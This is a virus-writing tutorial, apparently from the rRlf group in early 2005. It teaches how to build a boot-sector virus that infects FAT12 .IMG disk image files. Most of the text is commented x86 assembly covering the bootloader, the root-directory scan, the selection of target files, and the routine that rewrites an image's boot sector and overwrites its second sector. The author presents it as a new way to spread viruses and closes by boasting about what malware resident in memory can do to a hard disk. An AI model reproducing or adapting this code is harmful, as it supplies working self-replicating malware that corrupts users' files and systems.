*************************************************************
	  *************************************************************
	  ************                                      ***********
	  ************    New era of bootsectorviruses #1:  ***********
          ************      FAT12 IMG infection at Disks    ***********
	  ************     by Second Part To Hell/[rRlf]    ***********
	  ************                                      ***********
	  *************************************************************
	  *************************************************************


  Index:
  ******

  0) Intro

  1) Theory / Idea

  2) Bootloader

  3) Root_Directory

  4) Find infectable files

  5) The Infection

  6) Last words





  0) Intro

     Bootsector viruses were the first form of computerviruses.  They were most
     widespread from  the  beginning  of  computerviruses  until  December 1995
     (according to VirusBulletin).  But then, Macroviruses (CAP, ColdApe, ...),
     Scriptviruses  (Kak, LoveLetter, ...)  and  finally Win32 viruses (Sircam,
     Klez, Mydoom, Netsky, ...)  were even more widespread,  and the production
     of bootsectorviruses decreased to nearly zero. A reason for that could be,
     that it's damn hard  (if not impossible)  writing a bootsectorvirus, which
     stays in memory while the OS  (Windows)  loads. How did the old bootsector
     viruses work? When booting from an  infected  Disk,  such  a  virus  first
     infects the MBR  (Master Boot Record)  of the HD and the bootsector of the
     first partition. Then it stays in memory,  let the OS load processing, and
     hooks  (most times?)  INT 0x21 for  checking Disk access. OK, and what the
     hell will be the different between  the old  style of bootsector infectors
     and my once?  My idea is to infect the  Images  of Disks/HDs/CD-ROMs.  For
     that we don't need the INT 0x21, because we use our own File System driver
     (in this article here FAT12).  For writing our own File System driver it's
     of course nessecary to fully understand how the system works. For my first
     article about new bootsectorviruses I'm using FAT12, because it's the most
     easy of all as far as I know. As FAT12 is just used for DISK,  the article
     is just about .IMG file infection.  IMG files are  1:1 images of Disks. As
     you may know, I wanted to infect CD-ROM Bootsectors, but that did not work
     with Disks,  because ISO or NRI files are at least  2MB as far as I  know.
     Anyway,  let's start with FAT12 IMG bootsector infectors,  next time let's
     move to CD-ROMs, ok? :D





  1) Theory / Idea

     The virus we will write is a Bootinfector for IMG files.  Well, how should
     that work?  When A user boots from an infected Disk, the bootloader in the
     first sector (bootsector) will load the rest of the virus  (here it's just
     one more sector). The virus will read the Root_Directory, find .IMG files,
     check  if they are  FAT12  files with the right size,  and then infect the
     them. Nothing difficult you may think? Haa, let's go on...





  2) Bootloader

     What shall our bootloader can?  Of course, changing the  important values,
     that the processor can even work with the code.  Then?  Loading the second
     sector of the Disk,  which contains our virus,  and then run it.  There is
     one more important thing you have to notice:  The FAT12 System Information
     (is that the correct name? i don't know)  at offset 0x4 of the 1st sector.
     If you don't have this informations in your bootsector,  the disk won't be
     able to save/read/write/create/run/whatever files. Well, everything should
     be understandable, now let's move to the source.  The source is commented,
     so everything else will be explained by comments:

 - - - - - - - - - - - - - [ Bootloader - Source ] - - - - - - - - - - - - -
	org 0x7c00				; The Bootsector will be loaded at offset 0x7c00
stfat:						; Start of Bootsector
 jmp		 start				; Jump over FAT12 Table
 nop						; NOP, because jmp=3 byte, FAT-Table starts at 0x4
 db 0x4D,0x53,0x44,0x4F,0x53,0x35,0x2E,0x30
 db 0x00,0x02,0x01,0x01,0x00,0x02,0xE0,0x00	; This is the FAT Table of an formated Disk.
 db 0x40,0x0B,0xF0,0x09,0x00,0x12,0x00,0x02	; At this point a big thanks to Microsoft :)
 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00	; And big thanks to Hexeditor!
 db 0x00,0x00,0x00,0x29,0x8C,0x22,0x2F,0x7C
 db 0x4E,0x4F,0x20,0x4E,0x41,0x4D,0x45,0x20
 db 0x20,0x20,0x20,0x46,0x41,0x54,0x31,0x32
 db 0x20,0x20,0x20


start:
	cli					; No Interrupts
	mov	ax,0x9000			; Offset of Stack, which we create now.
	mov	ss, ax				; As we can't change ss directly, we use ax.
	mov	sp, 0				; Stackpointer
	sti					; Allow Interrupts

	mov	[bootdrv], dl			; Save bootdisk

loada:
	push	ds				; Save DS
	mov	ax, 0				; RESET DISK SYSTEM
	mov	dl, [bootdrv]			; drive (if bit 7 is set both hard disks and floppy disks reset)
	int	0x13				; Interrupt 0x13
	pop	ds				; Restore DS
	jc	loada				; If carry, again!


load1:						; Let's read the second sector (virus)
	mov	ax, 0x1000			; Data will be saved in memory at ES:BX
	mov	es, ax				; ES=0x1000
	mov	bx, 0				; BX=0
	mov	ah, 0x2				; READ SECTOR(S) INTO MEMORY
	mov	al, 0x1				; number of sectors to read
	mov	cx, 2				; CL=Start at sectornummer (2), CH=Cylinder Number
	mov	dx, 0				; Head/Drive number=0
	int	0x13				; Interrupt 0x13
	jc	load1				; If carry, again!

	mov	ax, 0x1000			; AX=0x1000
	mov	es, ax				; Extra Segment=0x1000
	mov	ds, ax				; Data Segment=0x1000
	push	ax				; AX to Stack
	mov	ax, 0				; AX=0
	push	ax				; AX to Stack. Stack now looks like that: 0x1000 0x0000
	retf					; Jump to 32 bit value from Stack: Offset of virus

	bootdrv db 0				; 1 Byte buffer for Bootdrive

ende:
	times (512-(ende-stfat)-2) db 0		; Rest of the Sector sub 2 = 0 (last 2 byte are boot-marks)
	dw 0xAA55				; Bootmarks. If you dont use them, BIOS dont boot from that Disk
 - - - - - - - - - - - - - [ Bootloader - Source ] - - - - - - - - - - - - -

     This bootloader, started from a Disk,  loads the second physical sector of
     the disk  to the memory  at offset  0x1000.  The bootloader  also creats a
     stack at the offset 0x9000.  Everything should be clear now I think. A big
     'Thank you!' for the bootloader information goes to mastermesh (a hobby-OS
     coder). Thanks for your article in LowLevel#1!





  3) Root_Directory

     The Root_Directory is the first directory of the Disk. Normally (always?),
     the Root_Directory starts at the 20th sector (Head=1/Sector=1). Here files
     are saved.  A file entry contains 0x20  (32)  bytes.  To understand the 32
     byte, let's look at the following table:

     * Offset   * Length    * Name                 *
     ***********************************************
     * 0x0      * 11 Byte   * DIR_Name             *
     * 0xB      * 1 Byte    * DIR_Attribute        *
     * 0xC      * 1 Byte    * DIR_NTRes            *
     * 0xD      * 1 Byte    * DIR_CrtTimeTenth     *
     * 0xE      * 2 Byte    * DIR_CrtTime          *
     * 0x10     * 2 Byte    * DIR_CrtDate          *
     * 0x12     * 2 Byte    * DIR_LstAccDate       *
     * 0x14     * 2 Byte    * DIR_FstClusHi        *
     * 0x16     * 2 Byte    * DIR_WrtTime          *
     * 0x18     * 2 Byte    * DIR_WrtDate          *
     * 0x1A     * 2 Byte    * DIR_FstClustLo       *
     * 0x1C     * 4 Byte    * DIR_FileSize         *
     ***********************************************

     DIR_Name:
         This value contains the Filename of the entry. I dont speak about long
         because we dont need them. If the first byte of the DIR_Name=0x0, then
         it's the end of the entries.  If the first byte of DIR_Name=0xE5, then
         it's a deleted file. If the 3rd byte=0x0, then we also ignore it (some
         thing with long filename).  Important for us is, that the last 3 bytes
         (starts at 0x8) are the fileextansion.  The filenames are saved UPPER-
         case and WITHOUT a dot ('.') between filename and extansion. There are
         some more information about DIR_Name available,  but it's totally  un-
         important for us.

     DIR_Attribute:
         This is the Attribute Byte of the file, as you can see from the name:

         0x01 ... ATTR_READ_ONLY
         0x02 ... ATTR_HIDDEN
         0x04 ... ATTR_SYSTEM
         0x08 ... ATTR_VOLUME_ID
         0x10 ... ATTR_DIRECTORY
         0x20 ... ATTR_ARCHIVE

         We just need to check, if the Byte is 0x10 (ATTR_DIRECTORY). As we can
         not infect a directory, we have to leave that entry.

     DIR_NTRes, DIR_CrtTimeTenth, DIR_CrtTime, DIR_CrtDate, DIR_LstAccDate,
     DIR_FstClusHi, DIR_WrtTime, DIR_WrtDate
         100% unimportant and unneccessary to explain!

     DIR_FstClustLo
         Here we get the number of the first data-sector of the File.  But it's
         not the real one,  we have to add  the number of the  first datasector
         to get the real one.

     DIR_FileSize
         The Filelength of the File. Nothing more to explain, but important for
         the virus.





  4) Find infectable files

     Now we know all the damn shit theory about it (I dont like learning the
     theory, praxis is better), how can we use it? What to do?
     First, we have to read the Root_Directory:

 - - - - - - - - - - - - - [ Read Root_Directory ] - - - - - - - - - - - - -
	mov	ax, 0x2000	; ax=0x2000
	mov	es, ax		; Data will be read to ES:BX, ES=0x2000
	mov	ds, ax
	xor	bx, bx		; BX=0x0

loadk:
	mov	ah, 0x2 	; ah=2: Read Sectors
	mov	al, 0x12	; How many Sectors (18)
	mov	ch, 0		; Cylinder 0
	mov	cl, 1		; Start at sektor 1
	xor	dx, dx		; dx=0
	inc	dh		; Head 1
	int	0x13		; System call
	jc	loadk		; If carry, again

	mov	bx, 0x200	; bx=Offset of 2nd Sector in memory
 - - - - - - - - - - - - - [ Read Root_Directory ] - - - - - - - - - - - - -

     We have the Root_Directory now at ES:BX - 0x2000:0x200. BX is the pointer
     to the Root_Directory. Next step is to check, if any file is an infectable
     file:

 - - - - - - - - - - - - - [ Check Infectable File ] - - - - - - - - - - - - -
fat12read:
	mov	ah, [bx]	; ah=First byte of Filename
	cmp	ah, 0x0 	; Check if zero. If zero, it's the last entry
	je	endfat12read	; If End, stopp reading
	cmp	ah, 0xE5	; Check if the byte is 0xE5. If so, it's a deleted file
	je	fat12next	; If deleted file, get next entry

	mov	al, [bx+2]	; al=3rd letter of name
	test	al, al		; Check if zero
	jz 	fat12next	; If zero, get next entry

	mov	ax, word [bx+8]		; 9th and 10th Letter to ax
	cmp	ax, 'IM'		; Check if it's 'IM'
	jne	fat12next		; If not, no IMG file
	mov	al, byte [bx+10]	; Move 10th letter to al
	cmp	al, 'G'			; Check if 10th letter='G'
	jne	fat12next		; If not, next file

	mov	ax, word [bx+30]	; Move second (high) word of filesize to ax
	test	ax, ax			; Check if zero
	jnz	fat12sizeok		; If not zero, file has at least 128 sectors

	mov	al, byte [bx+29]	; Move second byte of low word of filesize to ax
	cmp	al, 4			; Compair with 4
	jl	fat12next		; If less than 4, file has not 2 sectors=too small for infection

	mov	al, byte [bx+11]	; Move attribute byte to al
	and	al, 0x10		; ???1 ???? = Directory
	test	al, al			; Check if zero
	jnz	fat12next		; If not zero, it's a directory and we ignore it

	call	INFECTION		; We have a file!!!

  fat12next:
	mov	cx, 0x2000		; cx=0x2000
	mov	es, cx			; Data will be read to ES:BX, ES=0x2000
	mov	ds, cx

	add	bx, 0x20		; Next entry
jmp  fat12read
 - - - - - - - - - - - - - [ Check Infectable File ] - - - - - - - - - - - - -

     If the entry was OK, we have an infectable file... nearly. We also have to
     check, if it's a FAT12  .IMG file.  But this will be in the  next chapter,
     because we could do it together with modiefying the first sector.





  5) The infection

     Now we have to read the file,  then check if it's a FAT12 Image. If so, we
     can modiefy the bootsector  (that it loads the virus)  and overwriting the
     second sector. That's all? Yes, it is :)

 - - - - - - - - - - - - [ Check/Modiefy 1st Sector ] - - - - - - - - - - - -
fat12sizeok:
	mov	ax, word [bx+25]	; normally: 'mov ax, word [bx+26]' but that stupid shit did...
	xchg	al, ah			; ...not work, I dont know why and I dont want to know why. I spent...
	mov	ah, byte [bx+27]	; ...hours of testing, but no result. Let's never ever talk again about that lines, ok?

	add	ax, 32			; Now we have the real 1st data-sector of the file at the disk

	xor	cx, cx			; ch will be the number of the Cylinder
					; cl will be the number of the Sector
	xor	dx, dx			; dh will be the number of the Head
	call	CyHeSe			; Get the Cylinder, Head and Sector

	push	bx			; Save bx at stack

	mov	bx, 0x3000		; ax=0x3000
	mov	es, bx			; Data will be read to ES:BX, ES=0x3000
	mov	ds, bx
	mov	bx, 0			; BX=0x0

	mov	ah, 0x2 		; AH=2: Read Sector
	mov	al, 0x1 		; Wir read 1 Sector
	mov	dl, 0
	int	0x13			; Interrupt 13

	mov	ax, word [bx+54]	; For FAT12 it should be 'FA'
	cmp	ax, 'FA'		; Check if 'FA'
	jne	fat12next		; If not, get next file

	mov	ax, word [bx+57]	; For FAT12 it should be '12'
	cmp	ax, '12'		; Check if '12'
	jne	fat12next		; If not, get next file

	xor	di, di			; di=0
	mov	ax, 0xEB3C		; ax=2 bytes of jmp over fat12
	stosw				; Store AX at address ES:DI
	mov	al, 0x90		; al = NOP
	stosb				; Store AL at address ES:DI

	mov	ax, 0x1000		; AX=0x2000
	mov	ds, ax			; DS=0x2000
	mov	cx, 63			; Length of 1st sector data
	mov	si, data1stsector	; Where the data is
	mov	di, 0x3E		; The FAT12 at 1st sector in IMG file
	rep	movsb			; Move CX bytes from DS:SI to ES:DI
					; Move 63 bytes from 0x1000:data1stsector to 0x3000:0x3E

	pop	bx			; Get bx again
	push	bx			; Save it again


	mov	ax, 0x2000		; ax=0x2000
	mov	es, ax			; Data will be read to ES:BX, ES=0x2000
	mov	ds, ax

	mov	ax, word [bx+25]	; normally: 'mov ax, word [bx+26]' but that stupid shit did...
	xchg	al, ah			; ...not work, I dont know why and I dont want to know why. I spent...
	mov	ah, byte [bx+27]	; ...hours of testing, but no result. Let's never ever talk again about that lines, ok?

	add	ax, 32			; Now we have the real 1st data-sector of the file at the disk

	xor	cx, cx			; ch will be the number of the Cylinder
					; cl will be the number of the Sector
	xor	dx, dx			; dh will be the number of the Head
	call	CyHeSe			; Get the Cylinder, Head and Sector

	mov	ax, 0x3000		; ax=0x3000
	mov	es, ax			; Data will be read to ES:BX, ES=0x3000
	mov	ds, ax
	xor	bx, bx			; BX=0

	mov	ah, 0x3 		; AH=3: Write Sector
	mov	al, 0x1 		; Wir read 1 Sector
	mov	dl, 0
	int	0x13			; Interrupt 13

	mov	bx, 0x2000		; ax=0x2000
	mov	es, bx			; Data will be read to ES:BX, ES=0x2000
	mov	ds, bx

	pop	bx			; Restore bx

	jmp	fat12ow2sec		; Jmp over data


;	jmpoverfat12	db 0xEB,0x3C,0x90	; Jmp over FAT12 at 0x0 in Sector 1

	data1stsector	db 0xFA,0xB8,0x00,0x90,0x8E,0xD0,0xBC,0x00,0x00,0xFB	; This is the data after
			db 0x88,0x16,0x7C,0x7C,0x1E,0xB8,0x00,0x00,0x8A,0x16	; the FAT12. Starts at
			db 0x7C,0x7C,0xCD,0x13,0x1F,0x72,0xF3,0xB8,0x00,0x10	; offset 0x3E (62) and
			db 0x8E,0xC0,0xBB,0x00,0x00,0xB4,0x02,0xB0,0x01,0xB9	; has 63 byte.
			db 0x02,0x00,0xBA,0x00,0x00,0xCD,0x13,0x72,0xEA,0xB8
			db 0x00,0x10,0x8E,0xC0,0x8E,0xD8,0x50,0xB8,0x00,0x00
			db 0x50,0xCB,0x00
 - - - - - - - - - - - - [ Check/Modiefy 1st Sector ] - - - - - - - - - - - -

     Everything understandable? You can see there is a call to a function named
     'CyHeSe'. I will explain: When using INT 0x13 - AH=0x2/3 (READING/WRITING)
     you have to  give exact infors  about which Sector,  which Head and  which
     Cylinder.  But if we just have the Sectornumber,  we have to calculate the
     CHS by ourself. Here is the function:

 - - - - - - - - - - - - - - - - - [ CHS ] - - - - - - - - - - - - - - - - -
CyHeSe:
	cmp	ax, 36				; 36 Sectors = 1 Cylinder
	jge	BefCyHeSe			; If greater or equal, jmp to BefCyHeSe

	cmp	ax, 18				; 18 Sectors = Head1
	jl	SecCheck			; If less, Head=0
	mov	dh, 1				; Head++
	sub	ax, 18				; Sectors-=18
   SecCheck:
	mov	cl, al				; cl=Rest Sector Numbers
ret
 - - - - - - - - - - - - - - - - - [ CHS ] - - - - - - - - - - - - - - - - -

     Now, in the end, let's overwrite the second sector of the FAT12 Image file
     and we have finished our work:

 - - - - - - - - - - - - - [ Overwrite 2nd Sector ] - - - - - - - - - - - - -
fat12ow2sec:
	mov	ax, word [bx+25]	; normally: 'mov ax, word [bx+26]' but that stupid shit did...
	xchg	al, ah			; ...not work, I dont know why and I dont want to know why. I spent
	mov	ah, byte [bx+27]	; hours of testing, but no result. Let's never ever talk again about that lines, ok?

	add	ax, 32+1		; Now we have the real 2nd data-sector of the file at the disk

	xor	cx, cx			; ch will be the number of the Cylinder
					; cl will be the number of the Sector
	xor	dx, dx			; dh will be the number of the Head
	call	CyHeSe			; Get the Cylinder, Head and Sector

	push	bx			; Save bx at stack, because it will be changed

	mov	bx, 0x1000		; bx=0x1000
	mov	es, bx			; Data will be read to ES:BX, ES=0x1000
	mov	ds, bx
	mov	bx, 0			; BX=0x0

	mov	ah, 0x3 		; AH=3: Write sector(s)
	mov	al, 0x1 		; We write 1 sector
	mov	dl, 0
	int	0x13			; Interrupt 13

	mov	bx, 0x2000		; bx=0x2000
	mov	es, bx			; Data will be read to ES:BX, ES=0x2000
	mov	ds, bx

	pop	bx			; Restore bx
 - - - - - - - - - - - - - [ Overwrite 2nd Sector ] - - - - - - - - - - - - -

     Finished!!! :)





  6) Last words

     Woow, it's 4.32 am, and I'm still awake :) This article is the explanation
     of some main points of my new strange idea: 'New era of bootsectorviruses'
     This is, as far as I know, a really new field (infecting the bootsector of
     image files),  and there is much more to do.  Next may be ISO infection at
     FAT32 partition.  The first CD-ROM Bootsectorvirus - doesn't it also sound
     like a mystery for you?  Maybe we may also support NTFS or EXT2FS or other
     file systems?  Who knows?  I just know that this technique,  even it's not
     a high-speed spreading technique,  is cool  for discovering  and learning,
     and hey,  do you know what you can do with the HD, if you are alone in the
     memory? EVERYTHING!!! :)


                                                  - - - - - - - - - - - - - - -
                                                    Second Part To Hell/[rRlf]
                                                    www.spth.de.vu
                                                    spth@priest.com
                                                    written from Dec 2004 - Jan 2005
                                                    Austria
                                                  - - - - - - - - - - - - - - -